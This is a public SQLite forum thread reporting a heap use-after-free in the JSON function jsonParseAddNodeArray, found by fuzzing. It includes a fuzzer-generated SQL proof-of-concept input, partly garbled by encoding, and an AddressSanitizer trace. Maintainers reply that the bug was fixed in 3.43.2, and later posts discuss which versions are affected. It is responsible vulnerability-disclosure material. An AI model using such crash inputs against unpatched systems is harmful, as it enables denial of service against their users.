Use after free in jsonParseAddNodeArray, sqlite3.c:202989
(1.1) By Heqing (shadowblade) on 2023-10-09 09:05:32 edited from 1.0 [link] [source]
Hi, there.
There is an use after free bug found in jsonParseAddNodeArray, sqlite3.c:202989. Here is the version:
./sqlite3 --version
3.44.0 2023-10-05 11:06:10 a2464bbb825b5976ef974a2e6c17ea150f5e6fcd0dd0f144b9f9c1c22a9c9c82 (64-bit)
My environment:
Distributor ID: Ubuntu
Description: 20.04.6 LTS
Compiler: Clang 14.0.1
To reproduce, first compile the ossfuzz.c with sqlite3.o in the source code folder as sqlfuzz, then run:
./sqlfuzz poc
POC:
SELECT@g IN(0,.2, 3)
; -- (V json102-37 {
SELECT json_set('{"a":2,"":4}', '$.e.*] {fex'''' CREABBBBBBCBBBB;
CREATV
IND▒▒ i1 cu {
do+++++]}}}
do_
ST jsbject(&ex',json('[52,0.14159]'), '$.ON t1(x COLLATE nocase);
INSERT INO t1 VALUES('');
}
ifcapabLAT!icu {
do+++++]}}}
do_
ST jsbject(&ex',json('[52, .12159]'), '$.e.*] {fex'''' CREABBB;
CREATV INDEX i1 ON t1(x COLLATE nocase);
INSER INO t1 VALUES('');
}R{fex'''' CREABBBBBBCBBBB;
CREATV
IND▒▒ i1 cu {
do+++++]}}}
do_
ST jsbject(&ex',json('[52,0.14159]'), '$.ON t1(x COLLATE nocase);
INSERT INO t1 VALUES('');
}
ifcapabLAT!icu {
do+++++]}}}
do_
ST jsbject(&ex',json('[52, .16159]'), '$.e.*] {fex'''' CREABBBBBBCBBBB;
CREATV INDEX i1 ON t1(x COLLATE nocase)L
INSER INO t1 VALUES('');
}REQBBBBBBCBBBB;
CREATV
INDEX i1 ON t1(x COLLATE nocase);
INSERT INO t1 VALUES('');
}
ifcapabLAT!icu {
do+++++]}}}
do_
ST jsfject(&ex',json('[52,0.159]'), '$.e.*] {fex'''' CREABBBBBBCBBBB;
)REATV INDEX i1 ON t1(x COLLATE nocase);
INSERT INO t1 VALUES('');
}
ifcapabLAT!icu {
do+++++]}}}
do_
ST jsbject(&ex',json('[52, .14159]')); json00)); UE c"UNIQU {{{"ex"orc)113▒▒11,.rc)113▒▒11,.2,$32,$Jd2,,
I am not sure whether the poc can be successfully uploaded as this. Please let me know if there is a way to upload the poc file.
Here is the crash reported from ASAN:
==764941==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000000420 at pc 0x0000009a5bc7 bp 0x7ffd02cc0e50 sp 0x7ffd02cc0e48
READ of size 4 at 0x608000000420 thread T0
#0 0x9a5bc6 in jsonParseAddNodeArray /benchmark/sqlite/build-a/sqlite3.c:202989:15
#1 0x9a4661 in jsonReplaceNode /benchmark/sqlite/build-a/sqlite3.c:204724:9
#2 0x988cd3 in jsonSetFunc /benchmark/sqlite/build-a/sqlite3.c:204823:7
#3 0x665d5c in sqlite3VdbeExec /benchmark/sqlite/build-a/sqlite3.c:100523:3
#4 0x534b0d in sqlite3Step /benchmark/sqlite/build-a/sqlite3.c:90085:10
#5 0x534b0d in sqlite3_step /benchmark/sqlite/build-a/sqlite3.c:90146:16
#6 0x56fdb3 in sqlite3_exec /benchmark/sqlite/build-a/sqlite3.c:134400:12
#7 0x513822 in LLVMFuzzerTestOneInput /benchmark/sqlite/build-a/../test/ossfuzz.c:183:3
#8 0x9e401d in ExecuteFilesOnyByOne /prototype/AFLplusplus/utils/aflpp_driver/aflpp_driver.c:255:7
#9 0x9e3e28 in LLVMFuzzerRunDriver /utils/aflpp_driver/aflpp_driver.c
#10 0x9e39e8 in main /utils/aflpp_driver/aflpp_driver.c:300:10
#11 0x7f5141ab8082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41e58d in _start ( /benchmark/sqlite/build-a/sqlfuzz+0x41e58d)
0x608000000420 is located 0 bytes inside of 96-byte region [0x608000000420,0x608000000480)
freed by thread T0 here:
#0 0x4cd2f7 in __interceptor_cfree.part.0 /llvm_dis/llvm-project-llvmorg-14.0.6/compiler-rt/lib/asan/asan_malloc_linux.cpp:52:3
#1 0x51ae4e in sqlite3_free /benchmark/sqlite/build-a/sqlite3.c:30084:5
previously allocated by thread T0 here:
#0 0x4ce117 in __interceptor_malloc /llvm_dis/llvm-project-llvmorg-14.0.6/compiler-rt/lib/asan/asan_malloc_linux.cpp:69:3
#1 0x9a8afd in sqlite3MemMalloc /benchmark/sqlite/build-a/sqlite3.c:26239:7
SUMMARY: AddressSanitizer: heap-use-after-free /benchmark/sqlite/build-a/sqlite3.c:202989:15 in jsonParseAddNodeArray
Shadow bytes around the buggy address:
0x0c107fff8030: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x0c107fff8040: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8050: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8060: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8070: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0c107fff8080: fa fa fa fa[fd]fd fd fd fd fd fd fd fd fd fd fd
0x0c107fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff80c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c107fff80d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==764941==ABORTING
(2.1) By Stephan Beal (stephan) on 2023-10-08 11:56:20 edited from 2.0 in reply to 1.0 [link] [source]
To reproduce, first compile the ossfuzz.c with sqlite3.o in the source code folder as sqlfuzz, then run:
Some of the characters in your input look like they did not survive the trip through UTF-8 conversion. Please send a copy of your script directly to the project lead, drh at this domain, and reference this thread in it.
(3) By Heqing (shadowblade) on 2023-10-11 13:42:01 in reply to 2.1 [source]
I have sent it through email. Please let me know for future updates! Thanks!
(4) By Stephan Beal (stephan) on 2023-10-11 13:58:46 in reply to 3 [link] [source]
I have sent it through email. Please let me know for future updates!
The issue you reported was resolved in yesterday's 3.43.2 patch release. Thank you for the report and reproduction script!
(5) By anonymous on 2024-01-30 23:36:37 in reply to 4 [link] [source]
Does it affect SQLite versions <= 3.42.0
(6.1) By Dan Kennedy (dan) on 2024-01-31 11:12:50 edited from 6.0 in reply to 5 [link] [source]
Deleted(7) By anonymous on 2024-01-31 22:42:45 in reply to 6.1 [link] [source]
UAF is due to JSON cache overflow with combination of json_set() and json_replace(), both started utilizing JSON cache from SQLite versions > 3.42.0. I can't reproduce the issue with SQLite 3.42.0 so it looks like SQLite versions <= 3.42 are not affected by this issue. Could someone confirm it please.
(8.1) By SeverKetor on 2024-02-01 00:47:22 edited from 8.0 in reply to 7 [link] [source]
As Dan already stated, the json cache didn't exist until 3.43. Can't have a bug in the code if the code doesn't exist
Edit: I see Dan has since deleted that post, but the temporary json-opt branch which included caching started around a month prior to 3.43